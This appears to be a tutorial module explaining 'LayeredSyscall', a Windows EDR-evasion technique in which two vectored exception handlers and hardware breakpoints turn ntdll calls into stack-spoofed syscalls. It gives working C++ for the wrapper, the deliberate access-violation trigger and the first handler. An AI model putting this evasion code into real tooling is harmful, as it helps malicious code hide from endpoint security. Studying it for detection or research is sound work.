Module 5: The Dual-Handler Architecture

Two VEH handlers orchestrate a four-phase syscall redirect — one sets the trap, the other springs it.

Architecture Overview

The two handlers cooperate across four distinct phases of execution. Each phase is triggered by a different CPU exception, creating a chain of events that transforms a simple function call into a fully stack-spoofed syscall.

Execution Flow Diagram

Each colored box represents a phase transition. The red boxes are CPU exceptions that transfer control to a VEH handler. The green box is the final syscall with a genuine call stack.

The Wrapper Function Pattern

Every syscall that LayeredSyscall wraps follows the exact same four-step pattern. The wrapper is the entry point into the entire system. Here is a representative example for NtAllocateVirtualMemory:

C++NTSTATUS wrpNtAllocateVirtualMemory(
    HANDLE   ProcessHandle,
    PVOID*   BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T  RegionSize,
    ULONG    AllocationType,
    ULONG    Protect)
{
    // Step 1: Resolve the real ntdll function address
    auto addr = GetProcAddress(
        GetModuleHandleA("ntdll.dll"),
        "NtAllocateVirtualMemory"
    );

    // Step 2: Resolve the System Service Number
    int ssn = GetSsnByName("NtAllocateVirtualMemory");

    // Step 3: Install hardware breakpoints via VEH
    // TRUE = ExtendedArgs (function has >4 arguments)
    SetHwBp((ULONG_PTR)addr, TRUE, ssn);

    // Step 4: Call the REAL function (hits the breakpoint)
    return ((NtAllocateVirtualMemory_t)addr)(
        ProcessHandle, BaseAddress, ZeroBits,
        RegionSize, AllocationType, Protect
    );
}

SetHwBp and the ACCESS_VIOLATION Trigger

The SetHwBp function stores global state and then deliberately crashes the program with a null pointer dereference. This crash is the entry point into the VEH handler chain.

C++// Store global state for the VEH handlers
void SetHwBp(ULONG_PTR addr, BOOL extArgs, int ssn) {
    SyscallEntryAddr = addr;    // Target Nt* function address
    ExtendedArgs     = extArgs; // Does it have >4 arguments?
    SyscallNo        = ssn;     // System Service Number

    _SetHwBp(addr);  // Passes addr as RCX (first argument)
}

// This function deliberately crashes
void _SetHwBp(ULONG_PTR addr) {
    // TRIGGER_ACCESS_VIOLATION_EXCEPTION macro:
    int *a = 0;
    int b = *a;   // Null pointer dereference!
}

Handler 1: AddHwBp — Detailed Walkthrough

This is the first VEH handler. It fires on the deliberate null dereference, scans the target function to locate the syscall and ret instructions, and installs hardware breakpoints on both.

C++LONG WINAPI AddHwBp(PEXCEPTION_POINTERS ExceptionInfo) {
    // Only handle ACCESS_VIOLATION exceptions
    if (ExceptionInfo->ExceptionRecord->ExceptionCode
            == EXCEPTION_ACCESS_VIOLATION)
    {
        // Read target address from RCX register
        ULONG_PTR funcAddr = ExceptionInfo->ContextRecord->Rcx;

        // Scan forward up to 25 bytes for the syscall opcode
        for (int i = 0; i < 25; i++) {
            // 0x050F = syscall in little-endian byte order
            if (*(USHORT*)((ULONG_PTR)funcAddr + i) == 0x050F) {
                OPCODE_SYSCALL_OFF     = i;
                OPCODE_SYSCALL_RET_OFF = i + 2; // ret is 2 bytes after
                break;
            }
        }

        // Dr0 = breakpoint on syscall instruction
        ExceptionInfo->ContextRecord->Dr0 =
            funcAddr + OPCODE_SYSCALL_OFF;

        // Dr1 = breakpoint on ret instruction (after syscall)
        ExceptionInfo->ContextRecord->Dr1 =
            funcAddr + OPCODE_SYSCALL_RET_OFF;

        // Enable both breakpoints in Dr7
        ExceptionInfo->ContextRecord->Dr7 |= (1 << 0) | (1 << 2);

        // Skip past the null dereference (2-byte instruction)
        ExceptionInfo->ContextRecord->Rip += OPCODE_SZ_ACC_VIO;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

Step-by-Step Breakdown

Global State Variables

LayeredSyscall uses several global variables to pass state between the wrapper functions and the two VEH handlers. These are set by SetHwBp and consumed by HandlerHwBp:

Why This Design?

The dual-handler architecture is not arbitrary. Every design decision serves a specific evasion or engineering purpose.